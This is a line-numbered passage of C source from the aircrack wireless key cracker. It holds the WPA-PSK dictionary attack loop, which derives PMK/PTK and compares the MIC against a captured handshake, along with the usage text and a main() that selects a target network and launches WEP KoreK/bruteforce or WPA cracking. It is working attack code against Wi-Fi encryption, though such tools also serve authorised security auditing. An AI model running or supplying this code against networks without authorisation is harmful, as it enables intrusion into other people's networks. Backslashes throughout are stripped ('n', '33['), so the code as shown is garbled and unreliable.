  2020.     for( i = 0; i < 16; i++ )
  2021.         printf( "%02X ", mic[i] );
  2023.     printf( "n" );
  2024. }
  2026. int do_wpa_crack( struct AP_info *ap )
  2027. {
  2028.     int i, cid;
  2029.     char key1[128], key2[128];
  2031.     uchar pke[100];
  2032.     uchar pmk1[40], ptk1[80];
  2033.     uchar pmk2[40], ptk2[80];
  2034.     uchar mic1[20], mic2[20];
  2036.     /* send the ESSID to each thread */
  2038.     for( cid = 0; cid < opt.nbcpu; cid++ )
  2039.     {
  2040.         if( safe_write( mc_pipe[cid][1], (void *) ap->essid, 32 ) != 32 )
  2041.         {
  2042.             perror( "write essid failed" );
  2043.             kill( 0, SIGTERM );
  2044.             _exit( FAILURE );
  2045.         }
  2046.     }
  2048.     /* pre-compute the key expansion buffer */
  2050.     memcpy( pke, "Pairwise key expansion", 23 );
  2052.     if( memcmp( ap->wpa.stmac, ap->bssid, 6 ) < 0 )
  2053.     {
  2054.         memcpy( pke + 23, ap->wpa.stmac, 6 );
  2055.         memcpy( pke + 29, ap->bssid, 6 );
  2056.     }
  2057.     else
  2058.     {
  2059.         memcpy( pke + 23, ap->bssid, 6 );
  2060.         memcpy( pke + 29, ap->wpa.stmac, 6 );
  2061.     }
  2063.     if( memcmp( ap->wpa.snonce, ap->wpa.anonce, 32 ) < 0 )
  2064.     {
  2065.         memcpy( pke + 35, ap->wpa.snonce, 32 );
  2066.         memcpy( pke + 67, ap->wpa.anonce, 32 );
  2067.     }
  2068.     else
  2069.     {
  2070.         memcpy( pke + 35, ap->wpa.anonce, 32 );
  2071.         memcpy( pke + 67, ap->wpa.snonce, 32 );
  2072.     }
  2074.     memset( key1, 0, sizeof( key1 ) );
  2075.     memset( key2, 0, sizeof( key1 ) );
  2077.     if( ! opt.is_quiet )
  2078.     {
  2079.         if( opt.l33t )
  2080.             printf( "33[37;40m" );
  2082.         printf( "33[2J" );
  2084.         if( opt.l33t )
  2085.             printf( "33[34;1m" );
  2087.         printf( "33[2;34Haircrack %d.%d",
  2088.                 _MAJ, _MIN );
  2089.     }
  2091.     while( 1 )
  2092.     {
  2093.         for( cid = 0; cid < opt.nbcpu; cid++ )
  2094.         {
  2095.             /* read a couple of keys (skip those < 8 chars) */
  2097.             do
  2098.             {
  2099.                 if( fgets( key1, sizeof( key1 ), opt.dict ) == NULL )
  2100.                 {
  2101.                     if( opt.l33t )
  2102.                         printf( "33[32;22m" );
  2104.                     printf( "nEOFn" );
  2106.                     return( FAILURE );
  2107.                 }
  2109.                 i = strlen( key1 );
  2111.                 if( key1[i - 1] == 'n' ) key1[--i] = '';
  2112.                 if( key1[i - 1] == 'r' ) key1[--i] = '';
  2113.             }
  2114.             while( i < 8 );
  2116.             do
  2117.             {
  2118.                 if( fgets( key2, sizeof( key2 ), opt.dict ) == NULL )
  2119.                     break;
  2121.                 i = strlen( key2 );
  2123.                 if( key2[i - 1] == 'n' ) key2[--i] = '';
  2124.                 if( key2[i - 1] == 'r' ) key2[--i] = '';
  2125.             }
  2126.             while( i < 8 );
  2128.             /* send the keys */
  2130.             if( safe_write( mc_pipe[cid][1], (void *) key1, 128 ) != 128 ||
  2131.                 safe_write( mc_pipe[cid][1], (void *) key2, 128 ) != 128 )
  2132.             {
  2133.                 perror( "write passphrase failed" );
  2134.                 return( FAILURE );
  2135.             }
  2136.         }
  2138.         for( cid = 0; cid < opt.nbcpu; cid++ )
  2139.         {
  2140.             /* collect and test the master keys */
  2142.             if( safe_read( cm_pipe[cid][0], (void *) key1, 128 ) != 128 ||
  2143.                 safe_read( cm_pipe[cid][0], (void *) key2, 128 ) != 128 ||
  2144.                 safe_read( cm_pipe[cid][0], (void *) pmk1,  32 ) !=  32 ||
  2145.                 safe_read( cm_pipe[cid][0], (void *) pmk2,  32 ) !=  32 )
  2146.             {
  2147.                 perror( "read pmk failed" );
  2148.                 return( FAILURE );
  2149.             }
  2151.             /* compute the pairwise transient key and the frame MIC */
  2153.             for( i = 0; i < 4; i++ )
  2154.             {
  2155.                 pke[99] = i;
  2156.                 hmac_sha1( pmk1, 32, pke, 100, ptk1 + i * 20 );
  2157.                 hmac_sha1( pmk2, 32, pke, 100, ptk2 + i * 20 );
  2158.             }
  2160.             if( ap->wpa.keyver == 1 )
  2161.             {
  2162.                 hmac_md5( ptk1, 16, ap->wpa.eapol, ap->wpa.eapol_size, mic1 );
  2163.                 hmac_md5( ptk2, 16, ap->wpa.eapol, ap->wpa.eapol_size, mic2 );
  2164.             }
  2165.             else
  2166.             {
  2167.                 hmac_sha1( ptk1, 16, ap->wpa.eapol, ap->wpa.eapol_size, mic1 );
  2168.                 hmac_sha1( ptk2, 16, ap->wpa.eapol, ap->wpa.eapol_size, mic2 );
  2169.             }
  2171.             if( memcmp( mic1, ap->wpa.keymic, 16 ) == 0 )
  2172.             {
  2173.                 memcpy( key2, key1, 128 );
  2174.                 memcpy( pmk2, pmk1,  32 );
  2175.                 memcpy( ptk2, ptk1,  64 );
  2176.                 memcpy( mic2, mic1,  16 );
  2177.             }
  2179.             if( memcmp( mic2, ap->wpa.keymic, 16 ) == 0 )
  2180.             {
  2181.                 if( opt.is_quiet )
  2182.                 {
  2183.                     printf( "KEY FOUND! [ %s ]n", key2 );
  2184.                     return( SUCCESS );
  2185.                 }
  2187.                 show_wpa_stats( key2, pmk2, ptk2, mic2, 1 );
  2189.                 if( opt.l33t )
  2190.                     printf( "33[31;1m" );
  2192.                 printf( "33[8;%dH33[2KKEY FOUND! [ %s ]33[11Bn",
  2193.                         ( 80 - 15 - (int) strlen( key2 ) ) / 2, key2 );
  2195.                 if( opt.l33t )
  2196.                     printf( "33[32;22m" );
  2198.                 return( SUCCESS );
  2199.             }
  2201.             nb_tried += 2;
  2202.             nb_kprev += 2;
  2204.             if( ! opt.is_quiet )
  2205.                 show_wpa_stats( key1, pmk1, ptk1, mic1, 0 );
  2206.         }
  2207.     }
  2209.     return( FAILURE );
  2210. }
  2212. int intr_read = 0;
  2214. void sighandler( int signum )
  2215. {
  2216.     signal( signum, sighandler );
  2218.     if( signum == SIGQUIT )
  2219.         _exit( SUCCESS );
  2221.     if( signum == SIGTERM )
  2222.         _exit( FAILURE );
  2224.     if( signum == SIGINT )
  2225.         intr_read++;
  2227.     if( signum == SIGWINCH )
  2228.         printf( "33[2Jn" );
  2229. }
  2231. char usage[] =
  2233. "n"
  2234. "  Common options:n"
  2235. "n"
  2236. "      -a <amode> : force attack mode (1/WEP, 2/WPA-PSK)n"
  2237. "      -e <essid> : target selection: network identifiern"
  2238. "      -b <bssid> : target selection: access point's MACn"
  2239. "      -p <nbcpu> : SMP support: # of processes to startn"
  2240. "      -q         : enable quiet mode (no status output)n"
  2241. "      -w <words> : path to a dictionary filen"
  2242. "n"
  2243. "  Static WEP cracking options:n"
  2244. "n"
  2245. "      -c         : search alpha-numeric characters onlyn"
  2246. "      -t         : search binary coded decimal chr onlyn"
  2247. "      -d <start> : debug - specify beginning of the keyn"
  2248. "      -m <maddr> : MAC address to filter usable packetsn"
  2249. "      -n <nbits> : WEP key length: 64 / 128 / 152 / 256n"
  2250. "      -i <index> : WEP key index (1 to 4), default: anyn"
  2251. "      -f <fudge> : bruteforce fudge factor,  default: 2n"
  2252. "      -k <korek> : disable one attack method  (1 to 17)n"
  2253. "      -x         : do bruteforce the  last two keybytesn"
  2254. "      -y         : experimental  single bruteforce moden"
  2255. "n"
  2256. "  aircrack %d.%d - (C) 2004,2005 Christophe Devinen"
  2257. "n"
  2258. "  usage: aircrack [options] <.cap / .ivs file(s)>n"
  2259. "n";
  2261. int main( int argc, char *argv[] )
  2262. {
  2263.     int i, n, ret;
  2264.     char *s, buf[128];
  2265.     struct AP_info *ap_cur;
  2267.     ret = FAILURE;
  2269.     /* check the arguments */
  2271.     if( argc < 2 )
  2272.     {
  2273.     usage:
  2274.         printf( usage, _MAJ, _MIN );
  2275.         return( ret );
  2276.     }
  2278.     memset( &opt, 0, sizeof( opt ) );
  2280.     opt.nbcpu = 1;
  2282.     while( 1 )
  2283.     {
  2284.         int option = getopt( argc, argv, "a:e:b:p:qctd:m:n:i:f:k:xyw:0" );
  2286.         if( option < 0 ) break;
  2288.         switch( option )
  2289.         {
  2290.             case 'a' :
  2292.                 sscanf( optarg, "%d", &opt.amode );
  2294.                 if( opt.amode != 1 && opt.amode != 2 )
  2295.                 {
  2296.                     printf( "Invalid attack mode.n" );
  2297.                     return( FAILURE );
  2298.                 }
  2300.                 break;
  2302.             case 'e' :
  2304.                 memset(  opt.essid, 0, sizeof( opt.essid ) );
  2305.                 strncpy( opt.essid, optarg, sizeof( opt.essid ) - 1 );
  2306.                 opt.essid_set = 1;
  2307.                 break;
  2309.             case 'b' :
  2311.                 i = 0;
  2312.                 s = optarg;
  2314.                 while( sscanf( s, "%x", &n ) == 1 )
  2315.                 {
  2316.                     if( n < 0 || n > 255 )
  2317.                     {
  2318.                         printf( "Invalid BSSID (not a MAC).n" );
  2319.                         return( FAILURE );
  2320.                     }
  2322.                     opt.bssid[i] = n;
  2324.                     if( ++i > 6 ) break;
  2326.                     if( ! ( s = strchr( s, ':' ) ) )
  2327.                         break;
  2329.                     s++;
  2330.                 }
  2332.                 if( i != 6 )
  2333.                 {
  2334.                     printf( "Invalid BSSID (not a MAC).n" );
  2335.                     return( FAILURE );
  2336.                 }
  2338.                 opt.bssid_set = 1;
  2339.                 break;
  2341.             case 'p' :
  2343.                 if( sscanf( optarg, "%d", &opt.nbcpu ) != 1 ||
  2344.                     opt.nbcpu < 1 || opt.nbcpu > 256 )
  2345.                 {
  2346.                     printf( "Invalid number of processes.n" );
  2347.                     return( FAILURE );
  2348.                 }
  2350.                 break;
  2352.             case 'q' :
  2354.                 opt.is_quiet = 1;
  2356.                 break;
  2358.             case 'c' :
  2360.                 opt.is_alnum = 1;
  2361.                 break;
  2363.             case 't' :
  2365.                 opt.is_bcdonly = 1;
  2366.                 break;
  2368.             case 'd' :
  2370.                 i = 1;
  2371.                 s = optarg;
  2373.                 buf[0] = s[0];
  2374.                 buf[1] = s[1];
  2375.                 buf[2] = '';
  2377.                 while( sscanf( buf, "%x", &n ) == 1 )
  2378.                 {
  2379.                     if( n < 0 || n > 255 )
  2380.                     {
  2381.                         printf( "Invalid debug key.n" );
  2382.                         return( FAILURE );
  2383.                     }
  2385.                     opt.debug[i++] = n;
  2387.                     if( i >= 62 ) break;
  2389.                     s += 2;
  2391.                     if( s[0] == ':' || s[0] == '-' )
  2392.                         s++;
  2394.                     if( s[0] == '' || s[1] == '' )
  2395.                         break;
  2396.                     
  2397.                     buf[0] = s[0];
  2398.                     buf[1] = s[1];
  2399.                 }
  2401.                 if( i == 0 )
  2402.                 {
  2403.                     printf( "Invalid debug key.n" );
  2404.                     return( FAILURE );
  2405.                 }
  2407.                 opt.debug[0] = i - 1;
  2408.                 break;
  2410.             case 'm' :
  2412.                 i = 0;
  2413.                 s = optarg;
  2415.                 while( sscanf( s, "%x", &n ) == 1 )
  2416.                 {
  2417.                     if( n < 0 || n > 255 )
  2418.                     {
  2419.                         printf( "Invalid MAC address filter.n" );
  2420.                         return( FAILURE );
  2421.                     }
  2423.                     opt.maddr[i] = n;
  2425.                     if( ++i > 6 ) break;
  2427.                     if( ! ( s = strchr( s, ':' ) ) )
  2428.                         break;
  2430.                     s++;
  2431.                 }
  2433.                 if( i != 6 )
  2434.                 {
  2435.                     printf( "Invalid MAC address filter.n" );
  2436.                     return( FAILURE );
  2437.                 }
  2439.                 break;
  2441.             case 'n' :
  2443.                 if( sscanf( optarg, "%d", &opt.keylen ) != 1 ||
  2444.                     ( opt.keylen !=  64 && opt.keylen != 128 &&
  2445.                       opt.keylen != 152 && opt.keylen != 256 &&
  2446.                       opt.keylen != 512 ) )
  2447.                 {
  2448.                     printf( "Invalid WEP key length.n" );
  2449.                     return( FAILURE );
  2450.                 }
  2452.                 opt.keylen = ( opt.keylen / 8 ) - 3;
  2454.                 break;
  2456.             case 'i' :
  2458.                 if( sscanf( optarg, "%d", &opt.index ) != 1 ||
  2459.                     opt.index < 1 || opt.index > 4 )
  2460.                 {
  2461.                     printf( "Invalid WEP key index.n" );
  2462.                     return( FAILURE );
  2463.                 }
  2465.                 break;
  2467.             case 'f' :
  2469.                 if( sscanf( optarg, "%f", &opt.ffact ) != 1 ||
  2470.                     opt.ffact < 1 || opt.ffact > 32 )
  2471.                 {
  2472.                     printf( "Invalid fudge factor.n" );
  2473.                     return( FAILURE );
  2474.                 }
  2476.                 break;
  2478.             case 'k' :
  2480.                 if( sscanf( optarg, "%d", &opt.korek ) != 1 ||
  2481.                     opt.korek < 0 || opt.korek > N_ATTACKS )
  2482.                 {
  2483.                     printf( "Invalid KoreK attack strategy.n" );
  2484.                     return( FAILURE );
  2485.                 }
  2487.                 K_COEFF[opt.korek] = 0;
  2489.                 break;
  2491.             case 'x' :
  2493.                 opt.do_brute = 1;
  2494.                 break;
  2496.             case 'y' :
  2498.                 opt.do_testy = 1;
  2499.                 break;
  2501.             case 'w' :
  2503.                 if( strcmp( optarg, "-" ) == 0 )
  2504.                 {
  2505.                     if( ( opt.dict = fdopen( 0, "r" ) ) == NULL )
  2506.                     {
  2507.                         perror( "fopen(dictionary) failed" );
  2508.                         return( FAILURE );
  2509.                     }
  2511.                     opt.no_stdin = 1;
  2512.                 }
  2513.                 else
  2514.                 {
  2515.                     if( ( opt.dict = fopen( optarg, "r" ) ) == NULL )
  2516.                     {
  2517.                         perror( "fopen(dictionary) failed" );
  2518.                         return( FAILURE );
  2519.                     }
  2520.                 }
  2522.                 break;
  2524.             case '0' :
  2526.                 opt.l33t = 1;
  2527.                 break;
  2529.             default : goto usage;
  2530.         }
  2531.     }
  2533.     if( ! ( argc - optind ) )
  2534.         goto usage;
  2536.     /* start one thread per input file */
  2538.     signal( SIGINT,  sighandler );
  2539.     signal( SIGQUIT, sighandler );
  2540.     signal( SIGTERM, sighandler );
  2541.     signal( SIGALRM, SIG_IGN );
  2543.     pthread_mutex_init( &mx_apl, NULL );
  2544.     pthread_mutex_init( &mx_eof, NULL );
  2545.     pthread_cond_init(  &cv_eof, NULL );
  2547.     ap_1st = NULL;
  2549.     n = argc - optind;
  2551.     do
  2552.     {
  2553.         pthread_t tid;
  2555.         if( strcmp( argv[optind], "-" ) == 0 )
  2556.             opt.no_stdin = 1;
  2558.         if( pthread_create( &tid, NULL, (void *) read_thread,
  2559.                             (void *) argv[optind] ) != 0 )
  2560.         {
  2561.             perror( "pthread_create failed" );
  2562.             goto exit_main;
  2563.         }
  2565.         usleep( 131071 );
  2566.     }
  2567.     while( ++optind < argc );
  2569.     /* wait until each thread reaches EOF */
  2571.     pthread_mutex_lock( &mx_eof );
  2573.     if( ! opt.is_quiet )
  2574.     {
  2575.         printf( "Reading packets, please wait...r" );
  2576.         fflush( stdout );
  2577.     }
  2579.     while( nb_eof < n && ! intr_read )
  2580.         pthread_cond_wait( &cv_eof, &mx_eof );
  2582.     pthread_mutex_unlock( &mx_eof );
  2584.     if( ! opt.is_quiet && ! opt.no_stdin )
  2585.         printf( "33[KRead %ld packets.nn", nb_pkt );
  2587.     signal( SIGINT, SIG_DFL );
  2589.     if( ap_1st == NULL )
  2590.     {
  2591.         printf( "No networks found, exiting.n" );
  2592.         goto exit_main;
  2593.     }
  2595.     if( ! opt.essid_set && ! opt.bssid_set )
  2596.     {
  2597.         /* ask the user which network is to be cracked */
  2599.         if( opt.is_quiet || opt.no_stdin )
  2600.         {
  2601.             printf( "Please specify an ESSID or BSSID.n" );
  2602.             goto exit_main;
  2603.         }
  2605.         printf( "   #  BSSID%14sESSID%21sEncryptionnn", "", "" );
  2607.         i = 1;
  2609.         ap_cur = ap_1st;
  2611.         while( ap_cur != NULL )
  2612.         {
  2613.             printf( "%4d  %02X:%02X:%02X:%02X:%02X:%02X  %-24s  ",
  2614.                     i, ap_cur->bssid[0], ap_cur->bssid[1],
  2615.                        ap_cur->bssid[2], ap_cur->bssid[3],
  2616.                        ap_cur->bssid[4], ap_cur->bssid[5],
  2617.                     ap_cur->essid );
  2619.             if( ap_cur->eapol )
  2620.                 printf( "EAPOL+" );
  2622.             switch( ap_cur->crypt )
  2623.             {
  2624.                 case  0: printf( "None (%d.%d.%d.%d)n",
  2625.                                  ap_cur->lanip[0], ap_cur->lanip[1],
  2626.                                  ap_cur->lanip[2], ap_cur->lanip[3] );
  2627.                          break;
  2629.                 case  1: printf( "No data - WEP or WPAn" );
  2630.                          break;
  2632.                 case  2: printf( "WEP (%ld IVs)n",
  2633.                                  ap_cur->nb_ivs ); 
  2634.                          break;
  2636.                 case  3: printf( "WPA (%d handshake)n",
  2637.                                  ap_cur->wpa.state == 15 );
  2638.                          break;
  2640.                 default: printf( "Unknownn" );
  2641.                          break;
  2642.             }
  2644.             i++; ap_cur = ap_cur->next;
  2645.         }
  2647.         printf( "n" );
  2649.         if( ap_1st->next != NULL )
  2650.         {
  2651.             do
  2652.             {
  2653.                 printf( "Index number of target network ? " );
  2654.                 fflush( stdout );
  2655.                 scanf( "%127s", buf );
  2657.                 if( ( n = atoi( buf ) ) < 1 )
  2658.                     continue;
  2660.                 i = 1; ap_cur = ap_1st;
  2661.                 while( ap_cur != NULL && i < n )
  2662.                     { i++; ap_cur = ap_cur->next; }
  2663.             }
  2664.             while( n < 0 || ap_cur == NULL );
  2665.         }
  2666.         else
  2667.         {
  2668.             printf( "Choosing first network as target.n" );
  2669.             sleep( 2 );
  2670.             ap_cur = ap_1st;
  2671.         }
  2673.         printf( "n" );
  2675.         memcpy( opt.bssid, ap_cur->bssid,  6 );
  2676.         opt.bssid_set = 1;
  2677.     }
  2679.     /* mark the targeted access point(s) */
  2681.     ap_cur = ap_1st;
  2683.     while( ap_cur != NULL )
  2684.     {
  2685.         if( memcmp( opt.maddr, BROADCAST, 6 ) == 0 ||
  2686.             ( opt.bssid_set && ! memcmp( opt.bssid, ap_cur->bssid, 6 ) ) ||
  2687.             ( opt.essid_set && ! strcmp( opt.essid, ap_cur->essid    ) ) )
  2688.             ap_cur->target = 1;
  2690.         ap_cur = ap_cur->next;
  2691.     }
  2693.     ap_cur = ap_1st;
  2695.     while( ap_cur != NULL )
  2696.     {
  2697.         if( ap_cur->target )
  2698.             break;
  2700.         ap_cur = ap_cur->next;
  2701.     }
  2703.     if( ap_cur == NULL )
  2704.     {
  2705.         printf( "No matching network found - check your %s.n",
  2706.                 ( opt.essid_set ) ? "essid" : "bssid" );
  2708.         goto exit_main;
  2709.     }
  2711.     if( ap_cur->crypt < 2 )
  2712.     {
  2713.         switch( ap_cur->crypt )
  2714.         {
  2715.             case  0:
  2716.                 printf( "Target network doesn't seem encrypted.n" );
  2717.                 break;
  2719.             default:
  2720.                 printf( "Got no data packets from target network!n" );
  2721.                 break;
  2722.         }
  2724.         goto exit_main;
  2725.     }
  2727.     /* create the cracker<->master communication pipes */
  2729.     for( i = 0; i < opt.nbcpu; i++ )
  2730.     {
  2731.         pipe( mc_pipe[i] );
  2732.         pipe( cm_pipe[i] );
  2733.     }
  2735.     /* launch the attack */
  2737.     nb_tried = 0;
  2738.     nb_kprev = 0;
  2740.     chrono( &t_begin, 1 );
  2741.     chrono( &t_stats, 1 );
  2742.     chrono( &t_kprev, 1 );
  2744.     signal( SIGWINCH, sighandler );
  2746.     if( opt.amode == 1 )
  2747.         goto crack_wep;
  2749.     if( opt.amode == 2 )
  2750.         goto crack_wpa;
  2752.     if( ap_cur->crypt == 2 )
  2753.     {
  2754.     crack_wep:
  2756.         if( opt.keylen == 0 )
  2757.             opt.keylen = 13;
  2759.         if( opt.ffact == 0 )
  2760.         {
  2761.             if( ! opt.do_testy )
  2762.             {
  2763.                 if( opt.keylen == 5 )
  2764.                     opt.ffact = 5;
  2765.                 else
  2766.                     opt.ffact = 2;
  2767.             }
  2768.             else
  2769.                 opt.ffact = 30;
  2770.         }
  2772.         memset( &wep, 0, sizeof( wep ) );
  2774.         for( i = 0; i < opt.nbcpu; i++ )
  2775.         {
  2776.             /* start one thread per cpu */
  2778.             pthread_t tid;
  2780.             if( pthread_create( &tid, NULL, (void *) crack_wep_thread,
  2781.                                 (void *) (long) i ) != 0 )
  2782.             {
  2783.                 perror( "pthread_create failed" );
  2784.                 goto exit_main;
  2785.             }
  2786.         }
  2788.         if( ! opt.do_testy )
  2789.         {
  2790.             do   { ret = do_wep_crack1( 0 ); }
  2791.             while( ret == RESTART );
  2793.             if( ret == FAILURE )
  2794.                 printf( "   Attack failed. Possible reasons:nn"
  2795. "     * Out of luck: you must capture more IVs. Usually, 104-bit WEPn"
  2796. "       can be cracked with about one million IVs, sometimes more.nn"
  2797. "     * If all votes seem equal, or if there are many negative votes,n"
  2798. "       then the capture file is corrupted, or the key is not static.nn"
  2799. "     * A false positive prevented the key from being found.  Try ton"
  2800. "       disable each korek attack (-k 1 .. 17), raise the fudge factorn"
  2801. "       (-f) and try the experimental bruteforce attacks (-x / -y).n" );
  2802.         }
  2803.         else
  2804.         {
  2805.             for( i = opt.keylen - 3; i < opt.keylen - 2; i++ )
  2806.             {
  2807.                 do   { ret = do_wep_crack2( i ); }
  2808.                 while( ret == RESTART );
  2810.                 if( ret == SUCCESS )
  2811.                     break;
  2812.             }
  2814.             if( ret == FAILURE )
  2815.                 printf( "   Attack failed. Possible reasons:nn"
  2816. "     * Out of luck: you must capture more IVs. Usually, 104-bit WEPn"
  2817. "       can be cracked with about one million IVs, sometimes more.nn"
  2818. "     * If all votes seem equal, or if there are many negative votes,n"
  2819. "       then the capture file is corrupted, or the key is not static.nn"
  2820. "     * A false positive prevented the key from being found.  Try ton"
  2821. "       disable each korek attack (-k 1 .. 17), raise the fudge factorn"
  2822. "       (-f) or try the standard attack mode instead (no -y option).n" );
  2823.         }
  2824.     }
  2826.     if( ap_cur->crypt == 3 )
  2827.     {
  2828.     crack_wpa:
  2830.         if( opt.dict == NULL )
  2831.         {
  2832.             printf( "Please specify a dictionary (option -w).n" );
  2833.             goto exit_main;
  2834.         }
  2836.         ap_cur = ap_1st;
  2838.         while( ap_cur != NULL )
  2839.         {
  2840.             if( ap_cur->target && ap_cur->wpa.state == 15 )
  2841.                 break;
  2843.             ap_cur = ap_cur->next;
  2844.         }
  2846.         if( ap_cur == NULL )
  2847.         {
  2848.             printf( "No valid WPA handshakes found.n" );
  2849.             goto exit_main;
  2850.         }
  2852.         if( memcmp( ap_cur->essid, ZERO, 32 ) == 0 && ! opt.essid_set )
  2853.         {
  2854.             printf( "An ESSID is required. Try option -e.n" );
  2855.             goto exit_main;
  2856.         }
  2858.         if( opt.essid_set && ap_cur->essid[0] == '' )
  2859.         {
  2860.             memset(  ap_cur->essid, 0, sizeof( ap_cur->essid ) );
  2861.             strncpy( ap_cur->essid, opt.essid, sizeof( ap_cur->essid ) - 1 );
  2862.         }
  2864.         for( i = 0; i < opt.nbcpu; i++ )
  2865.         {
  2866.             /* start one thread per cpu */
  2868.             pthread_t tid;
  2870.             if( pthread_create( &tid, NULL, (void *) crack_wpa_thread,
  2871.                                 (void *) (long) i ) != 0 )
  2872.             {
  2873.                 perror( "pthread_create failed" );
  2874.                 goto exit_main;
  2875.             }
  2876.         }
  2878.         ret = do_wpa_crack( ap_cur );
  2879.     }
  2881. exit_main:
  2883.     if( ! opt.is_quiet )
  2884.         printf( "n" );
  2886.     fflush( stdout );
  2888.     if( ret == SUCCESS ) kill( 0, SIGQUIT );
  2889.     if( ret == FAILURE ) kill( 0, SIGTERM );
  2891.     _exit( ret );
  2892. }